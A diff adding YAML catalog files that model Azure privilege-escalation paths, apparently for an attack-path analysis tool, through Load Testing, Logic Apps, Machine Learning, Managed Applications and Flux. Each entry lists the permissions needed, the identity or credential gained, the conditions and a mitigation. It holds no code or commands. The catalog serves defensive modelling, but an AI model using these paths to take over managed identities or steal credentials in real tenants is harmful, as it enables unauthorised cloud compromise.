src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + source_revision: 171e422 + summary: The in-cluster Flux controller pulls and applies manifests from the attacker source with its own Kubernetes permissions (cluster-wide by default). + requires: + all_of: [] + any_of: + - - action: Microsoft.KubernetesConfiguration/fluxConfigurations/write + scope: "{target.scope}" + - - action: Microsoft.KubernetesConfiguration/sourceControlConfigurations/write + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS / Arc Kubernetes cluster {target.scope}" + conditions: + - id: flux_scope_cluster + description: Cluster-admin is reached only when the Flux configuration scope is cluster (the default); a namespace-scoped configuration applies manifests with that namespace's permissions only. + - id: source_reachable + description: The cluster must be able to reach the attacker Git, Helm, bucket or Blob source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: critical + mitigation: Restrict Microsoft.KubernetesConfiguration/fluxConfigurations/write and sourceControlConfigurations/write, prefer namespace-scoped Flux configurations, and alert on new or changed GitOps sources. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2 + notes: Applies to AKS and Arc-enabled Kubernetes. Kubernetes-side identities reachable from cluster-admin are modelled by the k8s catalog. diff --git a/src/privilege-escalation-paths-research/azure/load_testing.yaml b/src/privilege-escalation-paths-research/azure/load_testing.yaml new file mode 100644 index 0000000000..8fa98652eb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/load_testing.yaml @@ -0,0 +1,75 @@ +# Azure Load Testing techniques (declarative only). +# Source: hacktricks-cloud az-load-testing-privesc.md (rev 171e422). +# Test plans (JMeter JSR223/Groovy, Locust Python) are arbitrary code on the test engine; identities +# referenced with kind Engine are assigned to the engine instances and reachable through IMDS. + +- id: azure-loadtesting-test-engine-identity + provider: azure + service: load_testing + title: Run a test plan on a load test resource that carries managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: 171e422 + summary: The source can obtain the privileges of the managed identities attached to the load test resource. + requires: + all_of: + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "{target.host_resource}" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.LoadTestService/loadtests + scope: inherited_scope + aggregate_as: "Managed identities of load test resource {target.host_resource}" + conditions: + - id: engine_identity_reference + description: The identity must be referenced for the engine (referenceIdentities kind Engine), which the test writer sets in the test configuration. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Treat Load Test Contributor/Owner as code execution as the resource's identities, keep those identities least-privileged, and enable AzureLoadTestingOperation diagnostics. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + - https://learn.microsoft.com/en-us/azure/load-testing/how-to-assign-roles + notes: Data action names verified against the Load Test Contributor role (writeTest/action, startTest/action). Also reaches whatever the Key Vault reference identity can read, which is a subset of the same identities. + +- id: azure-loadtesting-assign-user-assigned-identity + provider: azure + service: load_testing + title: Attach a user-assigned identity to a load test resource and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it may assign, by attaching them to a load test resource and referencing them for the engine. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.LoadTestService/loadTests/write + scope: "{pivot}" + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "{pivot}" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.LoadTestService/loadtests + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and loadTests/write. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + notes: The pivot may be a new load test resource the source creates (loadTests/write) on which it then holds the test data actions. diff --git a/src/privilege-escalation-paths-research/azure/logic_apps.yaml b/src/privilege-escalation-paths-research/azure/logic_apps.yaml new file mode 100644 index 0000000000..70f3838e31 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/logic_apps.yaml @@ -0,0 +1,182 @@ +- id: azure-logicapp-workflow-write-existing-identity + provider: azure + service: logic_apps + title: Modify an existing Consumption workflow that runs with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the workflow's managed identities. + requires: + all_of: + - action: Microsoft.Logic/workflows/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Logic/workflows + scope: inherited_scope + aggregate_as: Identities of Logic App {target.host_resource} + conditions: + - id: run_path + description: 'The modified workflow must run: a recurrence/event trigger, triggers/run/action, or a callback URL.' + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict workflows/write and keep workflow identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: HackTricks marks workflows/write as directly changing workflow code (Critical). +- id: azure-logicapp-assign-user-assigned-identity + provider: azure + service: logic_apps + title: Create or update a workflow with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#assign-a-user-assigned-identity-to-a-writable-workflow + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.Logic/workflows/write + scope: '{pivot}' + pivot_resource_type: Microsoft.Resources/resourceGroups|Microsoft.Logic/workflows + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: run_path + description: 'The workflow must run: triggers/run/action, a callback URL, or a recurrence trigger.' + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and workflows/write. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: Covers both identity-assignment sections of the page. +- id: azure-logicapp-connection-access-policy-write + provider: azure + service: logic_apps + title: Authorize a controlled Standard workflow to use an existing V2 API connection + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionsaccesspolicieswrite---grant-a-workflow-use-of-unreadable-connection-credentials + source_revision: 171e422 + summary: The source can obtain the privileges of the service principal whose credentials back the API connection. + requires: + all_of: + - action: Microsoft.Web/connections/accessPolicies/write + scope: '{pivot}' + pivot_resource_type: Microsoft.Web/connections + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Principals behind API connection {pivot} + conditions: + - id: v2_connection + description: The connection must be kind V2. + - id: controlled_standard_workflow + description: The source must control a Workflow Standard app and its identity. + - id: connection_principal + description: Only an Azure-identity escalation when the connection authenticates as an SP/user with Azure access. + blockers: [] + confidence: conditional + severity: high + mitigation: Monitor Microsoft.Web/connections/accessPolicies writes and avoid broad roles including them. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/create-single-tenant-workflows-azure-portal + notes: '' +- id: azure-logicapp-connection-list-connection-keys + provider: azure + service: logic_apps + title: Export an API connection's runtime connection key + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionslistconnectionkeysaction---steal-an-api-connections-runtime-credential + source_revision: 171e422 + summary: The source can drive an already-consented API connection as the principal that authorized it, through the connector's operations. + requires: + all_of: + - action: Microsoft.Web/connections/listConnectionKeys/action + scope: '{pivot}' + pivot_resource_type: Microsoft.Web/connections + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Principals behind API connection {pivot} + conditions: + - id: token_consented_connector + description: Only OAuth/token-consented connectors return a key; shared-key connectors return OperationNotAllowed. + - id: connector_scoped_access + description: The gain is limited to the connector's operations; it is an Azure-identity escalation only when the connector exposes Azure control or data plane (e.g. Azure Resource Manager or Key Vault connectors) with an SP/user that has Azure access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/connections/listConnectionKeys/action, alert on it, and prefer managed-identity connections. + references: + - https://learn.microsoft.com/en-us/azure/connectors/introduction + notes: Same target modelling as azure-logicapp-connection-access-policy-write. User-consented connections are the common case; the azure_service_principal kind covers only SP-backed connections, so user-backed ones are not represented. +- id: azure-peaso-microsoftlogicworkflowsrunsactionsrequesthistoriesread + provider: azure + service: logic_apps + title: Recover a reusable principal credential from Logic App run output + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + source_revision: 0b36331 + summary: A visible run record contains a reusable credential of another principal. + requires: + any_of: + - - action: Microsoft.Logic/workflows/runs/actions/requestHistories/read + scope: '{pivot}' + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-peaso-microsoftlogicworkflowsrunsactionsrequesthistoriesread + scope: inherited_scope + outcome: credentials + conditions: + - id: credential_content + description: A collected unredacted bearer credential must match a live target principal. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the cited permission and remove unnecessary credential or identity bindings. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-securing-a-logic-app + notes: 'Collector fact required: azure_logic_app_request_history_credentials.' +- id: azure-peaso-microsoftlogicworkflowsrunsactionsread + provider: azure + service: logic_apps + title: Recover a reusable principal credential from Logic App run output + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + source_revision: 0b36331 + summary: A visible run record contains a reusable credential of another principal. + requires: + any_of: + - - action: Microsoft.Logic/workflows/runs/actions/read + scope: '{pivot}' + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-peaso-microsoftlogicworkflowsrunsactionsread + scope: inherited_scope + outcome: credentials + conditions: + - id: credential_content + description: A collected unredacted bearer credential must match a live target principal. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the cited permission and remove unnecessary credential or identity bindings. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-securing-a-logic-app + notes: 'Collector fact required: azure_logic_app_action_output_credentials.' diff --git a/src/privilege-escalation-paths-research/azure/machine_learning.yaml b/src/privilege-escalation-paths-research/azure/machine_learning.yaml new file mode 100644 index 0000000000..f9cd4909e7 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/machine_learning.yaml @@ -0,0 +1,406 @@ +# Azure Machine Learning / AI Foundry techniques (declarative only). +# Source: hacktricks-cloud az-ai-foundry-privesc.md and az-machine-learning-privesc.md (rev 171e422). +# {target.host_resource.workspace}: the ML workspace that owns the endpoint/compute. +# pivot_resource_type with '|' means any of the listed resource types. + +- id: azure-ml-online-deployment-existing-endpoint + provider: azure + service: machine_learning + title: Deploy code to an existing Azure ML online endpoint + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: 171e422 + summary: The source can obtain the privileges of the online endpoint's managed identity. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '{target.host_resource}' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '{target.host_resource.workspace}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces/onlineEndpoints + scope: inherited_scope + aggregate_as: Identity of online endpoint {target.host_resource} + conditions: + - id: invoke_path + description: Triggering the scoring code needs a way to call the endpoint (listKeys, token, or score/action) unless code runs at container start. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict deployment write on online endpoints and keep endpoint identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + notes: Endpoint identity is fixed at creation; workspace identity roles do not apply. + +- id: azure-ml-online-endpoint-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML online endpoint with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write + scope: '{pivot}' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '{pivot}' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '{pivot}' + pivot_resource_type: Microsoft.MachineLearningServices/workspaces + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: invoke_path + description: Triggering the scoring code needs a way to call the endpoint unless code runs at container start. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and online endpoint creation. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + notes: '' + +- id: azure-ml-jobs-write-compute-identity + provider: azure + service: machine_learning + title: Submit an Azure ML job to a compute target with a managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: a66f094ede + summary: The source can obtain the privileges of the compute target's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.MachineLearningServices/workspaces/jobs/write + scope: '{target.host_resource.workspace}' + - - action: Microsoft.MachineLearningServices/workspaces/experiments/runs/write + scope: '{target.host_resource.workspace}' + - - action: Microsoft.MachineLearningServices/workspaces/notebooks/vm/write + scope: '{target.host_resource.workspace}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces/computes + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + conditions: + - id: target_reads + description: Read permissions on the selected compute, environment and workspace are typically required by clients. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict jobs/write and keep compute identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-identity-based-service-authentication + notes: On a compute cluster/instance, identity managed resolves to that compute's identity. Serverless jobs instead use the workspace user-assigned identity (see azure-ml-jobs-write-serverless-workspace-uami). experiments/runs/write and notebooks/vm/write are listed as alternative code-execution verbs in az-machine-learning-privesc.md#compute-as-identity-rce-marquee-privesc (notebook/terminal execution reaches compute instances only). + +- id: azure-ml-jobs-write-serverless-workspace-uami + provider: azure + service: machine_learning + title: Submit an Azure ML serverless job running as the workspace user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: 171e422 + summary: The source can obtain the privileges of the user-assigned identity configured on the Azure ML workspace. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/jobs/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: User-assigned identity of ML workspace {target.host_resource} + conditions: + - id: serverless_available + description: Serverless compute must be usable in the workspace (quota, network isolation configuration) and the workspace must have a user-assigned identity; system-assigned workspace identities are not supported for serverless jobs. + - id: target_reads + description: Read permissions on the workspace and environment are typically required by clients. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict jobs/write (AzureML Data Scientist, Contributor) and keep the workspace user-assigned identity least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-use-serverless-compute + notes: Reviewer addition from Microsoft Learn (serverless jobs support identity managed using the workspace UAMI); HackTricks at 171e422 only describes compute-target identities and states that attaching a UAMI to the workspace does not change the identity of jobs on a compute target. Combined with workspaces/write plus userAssignedIdentities/assign/action this reaches any assignable UAMI. + +- id: azure-ml-workspace-uami-attach-serverless-job + provider: azure + service: machine_learning + title: Attach a user-assigned identity to an Azure ML workspace and run a serverless job as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#workspace-createmodify-as-an-identity-staging-primitive + source_revision: a66f094ede + summary: The source can obtain the privileges of user-assigned identities assignable in scope by attaching them to a workspace whose serverless jobs it can submit. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.MachineLearningServices/workspaces/write + scope: '{pivot}' + - action: Microsoft.MachineLearningServices/workspaces/jobs/write + scope: '{pivot}' + pivot_resource_type: Microsoft.MachineLearningServices/workspaces + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: serverless_available + description: Serverless compute must be usable in the workspace and the attached identity must be the workspace primary user-assigned identity used by serverless jobs. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict workspaces/write and userAssignedIdentities/assign/action; keep identities that can be attached to ML workspaces least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-use-serverless-compute + notes: The page describes workspace identity attachment as a staging step whose impact is realised by later code execution; serverless jobs are the code path that runs as the workspace user-assigned identity (see azure-ml-jobs-write-serverless-workspace-uami). AI Foundry hubs/write on the same ARM type is equivalent. + +- id: azure-ml-workspace-linked-keys-workload-poisoning + provider: azure + service: machine_learning + title: Poison Azure ML job code or images with the workspace linked-resource keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#dump-workspace-linked-resource-keys + source_revision: a66f094ede + summary: The workspace default storage key and container registry admin credential let the source replace job code, notebooks or images that later run as compute or endpoint managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.MachineLearningServices/workspaces/listKeys/action + scope: '{target.host_resource.workspace}' + - - action: Microsoft.MachineLearningServices/workspaces/listStorageAccountKeys/action + scope: '{target.host_resource.workspace}' + target: + kind: azure_managed_identity + selector: + attached_to_service: + - Microsoft.MachineLearningServices/workspaces/computes + - Microsoft.MachineLearningServices/workspaces/onlineEndpoints + scope: inherited_scope + aggregate_as: Identities of ML workloads in workspace {target.host_resource.workspace} + conditions: + - id: workload_reruns_poisoned_artifact + description: Another principal or a schedule must run a job, notebook or deployment that loads the replaced storage content or registry image. + - id: shared_key_or_registry_admin_enabled + description: The default storage account must allow Shared Key authorization, or the linked registry must have the admin user enabled. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict workspaces/listKeys and listStorageAccountKeys, disable Shared Key on the workspace storage account and the ACR admin user, and pin images by digest. + references: + - https://learn.microsoft.com/en-us/rest/api/azureml/workspaces/list-keys + notes: Second-order code execution; also documented in az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceslistkeysaction-and-microsoftmachinelearningservicesworkspacesliststorageaccountkeysaction. Direct key use without poisoning is data access only. + +- id: azure-ml-compute-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML compute instance with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.MachineLearningServices/workspaces/computes/write + scope: '{pivot}' + pivot_resource_type: Microsoft.MachineLearningServices/workspaces + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: compute_access_path + description: The source needs a path into the instance (SSH if network allows, setup script, or application access). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict computes/write and userAssignedIdentities/assign/action; disable public SSH on compute instances. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-compute-instance + notes: '' + +- id: azure-ml-compute-write-existing-identity + provider: azure + service: machine_learning + title: Modify or create Azure ML compute that runs with an existing compute identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the compute instance's managed identities. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/computes/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces/computes + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + conditions: + - id: compute_access_path + description: The source needs a path into the instance (SSH, setup script, or application access). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict computes/write. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-compute-instance + notes: HackTricks demonstrates creation of a new instance; reaching an existing instance's identity via update is configuration-dependent. + +- id: azure-ml-compute-application-access + provider: azure + service: machine_learning + title: Open Jupyter on a compute instance assigned to the source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesread--microsoftmachinelearningservicesworkspacescomputesapplicationaccessaction + source_revision: 171e422 + summary: The source can obtain the privileges of the managed identities of a compute instance assigned to the source. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '{target.host_resource.workspace}' + - action: Microsoft.MachineLearningServices/workspaces/computes/applicationaccess/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces/computes + ml_compute_assigned_to_source: true + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + conditions: + - id: instance_running + description: The instance must be running (start is a separate permission). + - id: network_reachable + description: The source must reach the instance application endpoints. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep compute-instance identities least-privileged; they are usable by the assigned user. + references: [] + notes: Does not open another user's instance. + +- id: azure-ml-connection-secrets + provider: azure + service: machine_learning + title: Read secrets of Azure ML / Foundry connections and datastores + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesconnectionslistsecretsaction-microsoftmachinelearningservicesworkspacesdatastoreslistsecretsaction + source_revision: 171e422 + summary: The source can obtain the privileges of service principals whose credentials are stored in the connection or datastore. + requires: + all_of: [] + any_of: + - - action: Microsoft.MachineLearningServices/workspaces/connections/listsecrets/action + scope: '{pivot}' + - - action: Microsoft.MachineLearningServices/workspaces/datastores/listSecrets/action + scope: '{pivot}' + - - action: Microsoft.CognitiveServices/accounts/connections/listsecrets/action + scope: '{pivot}' + - - action: Microsoft.CognitiveServices/accounts/projects/connections/listsecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.MachineLearningServices/workspaces|Microsoft.CognitiveServices/accounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only when a connection/datastore uses service-principal secret authentication; other types yield keys/SAS (data access only). + blockers: [] + confidence: conditional + severity: high + mitigation: Prefer identity-based connections and restrict listsecrets actions. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-connection + notes: Credential content unknown from RBAC alone; the CognitiveServices variants are from the same page. + +- id: azure-foundry-shared-connection-secrets + provider: azure + service: machine_learning + title: Recover a Foundry account-level connection credential through AIServices data actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-shared-connection-credential-recovery + source_revision: 171e422 + summary: The Foundry project data plane returns the credential of an account-level connection, which can be a service-principal secret. + requires: + all_of: + - action: Microsoft.CognitiveServices/accounts/AIServices/connections/read + data_action: true + scope: '{pivot}' + - action: Microsoft.CognitiveServices/accounts/AIServices/connections/listSecrets/action + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.CognitiveServices/accounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only when the connection uses service-principal secret authentication; keys, SAS and custom headers are data access only. + blockers: [] + confidence: conditional + severity: high + mitigation: Prefer identity-based connections and restrict the AIServices connections listSecrets data action. + references: + - https://learn.microsoft.com/en-us/rest/api/microsoft-foundry/aiproject#connections + notes: Data-plane counterpart of the ARM listsecrets actions in azure-ml-connection-secrets; uses an Entra token for the Foundry project endpoint. + +- id: azure-ml-compute-code-execution-marquee + provider: azure + service: machine_learning + title: Submit code to existing managed-identity-bearing ML compute (marquee source) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#compute-as-identity-rce-marquee-privesc + summary: The source can obtain the privileges of the compute target's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.MachineLearningServices/workspaces/jobs/write + scope: '{target.host_resource.workspace}' + - - action: Microsoft.MachineLearningServices/workspaces/experiments/runs/write + scope: '{target.host_resource.workspace}' + - - action: Microsoft.MachineLearningServices/workspaces/notebooks/vm/write + scope: '{target.host_resource.workspace}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.MachineLearningServices/workspaces/computes + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + outcome: workload_execution + conditions: + - id: target_reads + description: Read permissions on the selected compute, environment and workspace are typically required by clients. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict jobs/write and keep compute identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-identity-based-service-authentication + notes: 'Source alias for azure-ml-jobs-write-compute-identity; same target and actions. A successful run on the + selected compute remains conditional. ' diff --git a/src/privilege-escalation-paths-research/azure/managed_applications.yaml b/src/privilege-escalation-paths-research/azure/managed_applications.yaml new file mode 100644 index 0000000000..3d89d023f8 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/managed_applications.yaml @@ -0,0 +1,58 @@ +- id: azure-managedapp-list-tokens + provider: azure + service: managed_applications + title: Export access tokens of a managed application's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#listtokens--cross-tenant-managed-identity-token-export-marquee + source_revision: 171e422 + summary: The source can obtain bearer tokens for the managed application's managed identity and act with its privileges. + requires: + all_of: + - action: Microsoft.Solutions/applications/listTokens/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Solutions/applications + scope: inherited_scope + aggregate_as: "Managed identities of managed application {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict applications/listTokens/action, review publisher authorizations on managed applications, and keep managed application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/publish-managed-identity + notes: listTokens returns a token for an arbitrary audience (ARM, Graph, Key Vault, Storage). Publisher-tenant principals holding the action through managed-app authorizations are outside the customer snapshot; customer-tenant holders (for example Contributor on the application) are modelled. +- id: azure-peaso-deploy-as-identity-inside-a-managed-app + provider: azure + service: managed_applications + title: Deploy an authorized managed-app template that grants a new identity privileged RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + source_revision: 0b36331 + summary: A deployment template creates a managed identity and grants it a role the source lacks. + requires: + all_of: + - action: Microsoft.Solutions/applicationDefinitions/write + scope: '{pivot}' + - action: Microsoft.Solutions/applications/write + scope: '{pivot}' + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-peaso-deploy-as-identity-inside-a-managed-app + scope: inherited_scope + conditions: + - id: authorized_template + description: The selected definition and application deployment must allow the embedded role assignment at the + target scope. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the cited permission and remove unnecessary credential or identity bindings. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/publish-service-catalog-app + notes: 'Collector fact required: azure_managed_app_deployment_authorizations.' diff --git a/src/privilege-escalation-paths-research/azure/managed_devops_pools.yaml b/src/privilege-escalation-paths-research/azure/managed_devops_pools.yaml new file mode 100644 index 0000000000..4b9ff4e0be --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/managed_devops_pools.yaml @@ -0,0 +1,65 @@ +# Azure Managed DevOps Pools techniques (declarative only). +# Source: hacktricks-cloud az-managed-devops-pools-privesc.md (rev 171e422). +# Agents of a pool run pipeline jobs and can authenticate as the pool's managed identities. + +- id: azure-devopspool-assign-user-assigned-identity + provider: azure + service: managed_devops_pools + title: Attach a user-assigned identity to a Managed DevOps 